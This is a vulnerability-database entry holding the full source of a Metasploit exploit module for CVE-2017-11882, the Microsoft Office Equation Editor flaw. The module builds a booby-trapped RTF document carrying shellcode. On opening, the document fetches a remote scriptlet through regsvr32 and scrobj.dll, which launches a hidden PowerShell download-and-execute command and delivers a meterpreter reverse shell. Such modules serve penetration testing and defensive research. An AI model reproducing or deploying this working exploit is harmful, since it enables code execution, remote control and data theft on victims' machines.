Microsoft Office CVE-2017-11882

2017-11-21T19:47:02
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/OFFICE_MS17_11882
Type metasploit
Reporter Rapid7
Modified 2018-08-28T18:44:01

Description

Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::FILEFORMAT


  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Microsoft Office CVE-2017-11882',
      'Description' => %q{
        Module exploits a flaw in how the Equation Editor that
        allows an attacker to execute arbitrary code in RTF files without
        interaction. The vulnerability is caused by the Equation Editor,
        to which fails to properly handle OLE objects in memory.
      },
      'Author' => ['mumbai', 'embedi'],
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Nov 15 2017',
      'References' => [
        ['CVE', '2017-11882'],
        ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
        ['URL', 'https://github.com/embedi/CVE-2017-11882']
      ],
      'Platform' => 'win',
      'Arch' => [ARCH_X86, ARCH_X64],
      'Targets' => [
        ['Microsoft Office', {} ],
      ],
      'DefaultTarget' => 0,
      'Payload' => {
        'DisableNops' => true
      },
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'EXITFUNC' => 'thread',
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
      }
    ))

    register_options([
        OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
        OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
    ])
  end

  def retrieve_header(filename)
    if (not datastore['FOLDER_PATH'].nil?)
      path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
    else
      path = nil
    end
    if (not path.nil?)
      if ::File.file?(path)
        File.open(path, 'rb') do |fd|
          header = fd.read(fd.stat.size).split('{\*\datastore').first
          header = header.to_s # otherwise I get nil class...
          print_status("Injecting #{path}...")
          return header
        end
      else
        header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
        header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
        header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
      end
    else
      header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
      header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
      header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
    end
    return header
  end



  def generate_rtf
    header = retrieve_header(datastore['FILENAME'])
    object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
    object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
    object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
    object_class << '09000600000000000000000000000100000001000000000000000010000002000'
    object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
    object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
    object_class << '07400720079000000000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
    object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
    object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000003'
    object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
    object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
    object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
    object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << "00000300040000000000000000000000000000000000000000000000000000000"
    object_class << "000000000000000000000000000000000000000000000000000000000000000\n"


    shellcode = "\x1c\x00"                  #  0:   1c 00                   sbb    al,0x0
    shellcode << "\x00\x00"                 #  2:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x02\x00"                 #  4:   02 00                   add    al,BYTE PTR [eax]
    shellcode << "\x9e"                     #  6:   9e                      sahf
    shellcode << "\xc4\xa9\x00\x00\x00\x00" #  7:   c4 a9 00 00 00 00       les    ebp,FWORD PTR [ecx+0x0]
    shellcode << "\x00\x00"                 #  d:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\xc8"                 #  f:   00 c8                   add    al,cl
    shellcode << "\xa7"                     # 11:   a7                      cmps   DWORD PTR ds:[esi],DWORD PTR es:[edi]
    shellcode << "\\"                       # 12:   5c                      pop    esp
    shellcode << "\x00\xc4"                 # 13:   00 c4                   add    ah,al
    shellcode << "\xee"                     # 15:   ee                      out    dx,al
    shellcode << "["                        # 16:   5b                      pop    ebx
    shellcode << "\x00\x00"                 # 17:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\x00"                 # 19:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\x03"                 # 1b:   00 03                   add    BYTE PTR [ebx],al
    shellcode << "\x01\x01"                 # 1d:   01 01                   add    DWORD PTR [ecx],eax
    shellcode << "\x03\n"                   # 1f:   03 0a                   add    ecx,DWORD PTR [edx]
    shellcode << "\n\x01"                   # 21:   0a 01                   or     al,BYTE PTR [ecx]
    shellcode << "\x08ZZ"                   # 23:   08 5a 5a                or     BYTE PTR [edx+0x5a],bl
    shellcode << "\xB8\x44\xEB\x71\x12"     # 26:   b8 44 eb 71 12          mov    eax,0x1271eb44
    shellcode << "\xBA\x78\x56\x34\x12"     # 2b:   ba 78 56 34 12          mov    edx,0x12345678
    shellcode << "\x31\xD0"                 # 30:   31 d0                   xor    eax,edx
    shellcode << "\x8B\x08"                 # 32:   8b 08                   mov    ecx,DWORD PTR [eax]
    shellcode << "\x8B\x09"                 # 34:   8b 09                   mov    ecx,DWORD PTR [ecx]
    shellcode << "\x8B\x09"                 # 36:   8b 09                   mov    ecx,DWORD PTR [ecx]
    shellcode << "\x66\x83\xC1\x3C"         # 38:   66 83 c1 3c             add    cx,0x3c
    shellcode << "\x31\xDB"                 # 3c:   31 db                   xor    ebx,ebx
    shellcode << "\x53"                     # 3e:   53                      push   ebx
    shellcode << "\x51"                     # 3f:   51                      push   ecx
    shellcode << "\xBE\x64\x3E\x72\x12"     # 40:   be 64 3e 72 12          mov    esi,0x12723e64
    shellcode << "\x31\xD6"                 # 45:   31 d6                   xor    esi,edx
    shellcode << "\xFF\x16"                 # 47:   ff 16                   call   DWORD PTR [esi]
    shellcode << "\x53"                     # 49:   53                      push   ebx
    shellcode << "\x66\x83\xEE\x4C"         # 4a:   66 83 ee 4c             sub    si,0x4c
    shellcode << "\xFF\x10"                 # 4e:   ff 10                   call   DWORD PTR [eax]
    shellcode << "\x90"                     # 50:   90                      nop
    shellcode << "\x90"                     # 50:   90                      nop

    footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
    footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
    footer << '00000000000000000000000000000000000000000000000000000'
    footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000400'
    footer << '0000C5000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
    footer << '000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000000000'
    footer << '000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
    footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000001050000050000000D0000004D45544146494C'
    footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
    footer << '500000002001C0000000000050000000902000000000500000002'
    footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
    footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
    footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
    footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
    footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
    footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
    footer << '00030000000000' + "\n"
    footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
    footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
    footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
    footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
    footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
    footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
    footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
    footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
    footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
    footer << "00000000\n"
    footer << "}}}\n"
    footer << '\par}' + "\n"


    payload = shellcode
    payload += [0x00402114].pack("V")
    payload += "\x00" * 2
    payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
    payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
    payload = header + object_class + payload + footer
    payload
  end



  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"
      # Set filename (Use random filename if empty)
      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{ignore_cert}#{download_string}"

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def on_request_uri(cli, _request)
    if _request.raw_uri =~ /\.sct$/
      print_status("Handling request for .sct from #{cli.peerhost}")
      payload = gen_psh("#{get_uri}", "string")
      data = gen_sct_file(payload)
      send_response(cli, data, 'Content-Type' => 'text/plain')
    else
      print_status("Delivering payload to #{cli.peerhost}...")
      p = regenerate_payload(cli)
      data = cmd_psh_payload(p.encoded,
                       payload_instance.arch.first,
                       remove_comspec: true,
                       exec_in_place: true
      )
      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
    end
  end


  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end


  def gen_sct_file(command)
    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
    if command == ''
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
    # If a command is provided, tell the target system to execute it.
    else
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
    end
  end


  def primer
    file_create(generate_rtf)
  end
end